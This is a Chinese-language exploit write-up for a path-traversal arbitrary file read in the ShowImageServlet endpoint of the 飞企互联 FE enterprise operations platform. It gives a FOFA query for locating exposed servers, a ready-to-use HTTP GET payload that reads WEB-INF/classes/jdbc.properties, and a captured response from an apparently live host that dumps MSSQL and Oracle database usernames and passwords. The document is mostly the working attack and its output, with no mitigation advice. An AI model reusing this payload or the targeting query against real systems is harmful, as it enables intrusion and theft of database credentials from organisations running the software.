F1-9飞企互联-FE企业运营管理平台-任意文件读取

漏洞描述：

飞企互联 FE 业务协作平台ShowImageServlet接口存在文件读取漏洞，攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

网站图片：

网络测绘：

fofa语法：

FOFA：app="飞企互联-FE企业运营管理平台"

漏洞复现：

payload：

```
GET /servlet/ShowImageServlet?imagePath=../web/fe.war/WEB-INF/classes/jdbc.properties&print HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
```

效果图:
读取数据库配置

Request

数据包扫描 热加载 构造请求

```
GET /servlet/ShowImageServlet?imagePath=../web/fe.war/WEB-INF/classes/jdbc.properties&print HTTP/1.1
Host [redacted]:9090
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
```

Responses 643bytes / 56ms

```
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
X-Powered-By: Servlet 2.4; JBoss-4.0.4.GA (build: CVSTag=Branch_4_0_4_GA date=200605151000)/Tomcat-5.5
Set-Cookie: JSESSIONID=4B0C96B38ECB7624344[redacted]
Content-Type: image/*
Date: Thu, 21 Dec 2023 03:28:16 GMT
Content-Length: 643

#================mssql==================
mssql.jdbc.driver=com.microsoft.sqlserver.[redacted]
mssql.jdbc.url=jdbc:sqlserver://127.0.0.1:[redacted]
mssql.jdbc.user=sa
mssql.jdbc.password=123@456#ABC
#================oracle==================
oracle.jdbc.driver=oracle.jdbc.driver.Orac[redacted]
oracle.jdbc.url=jdbc:oracle:thin:@127.0.0.[redacted]
oracle.jdbc.user=sa
oracle.jdbc.password=123@456#ABC
#==================database======POLICE===[redacted]
fe.db=FE_BASE5
fe.db1=FE_APP5
fe.db2=FE_ERP
#edit database ip;odbc: dns
ip=127.0.0.1:1433
```